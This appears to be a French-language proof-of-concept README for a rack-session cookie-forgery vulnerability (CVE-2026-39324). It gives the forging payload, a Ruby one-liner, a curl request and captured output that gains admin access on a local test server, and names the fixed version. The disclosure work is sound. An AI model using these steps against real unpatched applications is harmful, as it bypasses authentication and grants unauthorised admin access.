
Preuve de concept d'exploitation pour le contournement d'authentification Rack::Cookie (CVE-2026-39324), démontrant la falsification de session via un codeur de secours pour obtenir un accès administrateur.
L'échec de déchiffrement de Rack::Session::Cookie retombe sur l'acceptation de cookies non chiffrés
| Avis de sécurité | GHSA-33qg-7wpp-89cq |
| Paquet | rack-session (RubyGems) |
| Versions affectées | <= 2.1.1 |
| Version corrigée | 2.1.2 |
Rack::Session::Cookie avec secrets: ne devrait accepter que les cookies chiffrés. Mais lorsque le déchiffrement échoue, il ne rejette pas le cookie — il retombe sur le codeur Base64::Marshal par défaut.
Un attaquant peut envoyer un cookie Base64(Marshal.dump(...)) en clair et le serveur l'accepte comme des données de session valides, sans connaître aucun secret.
rack-session <= 2.1.1Rack::Session::Cookie avec l'option secrets:user_id, role, etc.) pour l'autorisationNon concerné :
secret: (singulier) — utilise la signature HMAC, chemin de code différent. Seul secrets: (pluriel, mode cookie chiffré) est vulnérable.ActionDispatch::Session::CookieStore, implémentation distincte.# lib/rack/session/cookie.rb
# Le codeur de secours est toujours créé, quelle que soit la configuration secrets:
@coder = options[:coder] ||= Base64::Marshal.new
# Tente de déchiffrer — tous échouent pour un cookie non chiffré
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# BUG : ne rejette pas, retombe sur le codeur non chiffré
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
L'échec de déchiffrement sur le chemin secrets: devrait être terminal. Au lieu de cela, il transmet le cookie à coder.decode(), donc les cookies en clair sont chargés comme données de session.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Application Rack avec configuration secrets:
├── verify.rb Vérification de référence (comportement normal)
└── attack.rb Falsification de session (l'exploit)
cd poc
bundle install
ruby server.rb & # démarrer le serveur vulnérable
ruby verify.rb # confirmer le comportement normal
ruby attack.rb # falsifier le cookie → accès admin
Application Rack utilisant secrets: pour les cookies chiffrés. Deux utilisateurs : id=1 (normal), id=2 (admin). Seul user_id est stocké dans la session ; la vérification admin est une recherche côté serveur.
Confirme que le serveur fonctionne correctement :
| Requête | Attendu |
|---|---|
GET /admin (sans cookie) | 403 |
POST /login?id=1 | 200, cookie chiffré |
GET /admin (cookie utilisateur id=1) | 403 |
Falsifie un cookie de session sans aucun secret.
1) Falsifier le cookie :
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Flux côté serveur lors de la réception du cookie falsifié :
encryptor #1 decrypt → HMAC invalide
encryptor #2 decrypt → HMAC invalide
repli → coder.decode() → Marshal.load → session attaquant acceptée
→ session["user_id"] = 2 → utilisateur admin résolu → 200 OK
$ ruby attack.rb
--- CVE-2026-39324 : Falsification de session ---
Cible : http://127.0.0.1:9416
Charge utile : {"session_id" => "attacker-forged", "user_id" => 2}
Cookie : rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Erreur encrypteur cookie de session : HMAC invalide ← encrypteur #1 a échoué
Erreur encrypteur cookie de session : HMAC invalide ← encrypteur #2 a échoué, mais le cookie n'est pas rejeté
Statut : 200
Corps : {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNÉRABLE — user_id=2 falsifié accepté, accès admin accordé.
Les deux vérifications HMAC échouent, mais le cookie n'est pas rejeté — le codeur de secours l'accepte et l'attaquant obtient l'accès admin.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session vers >= 2.1.2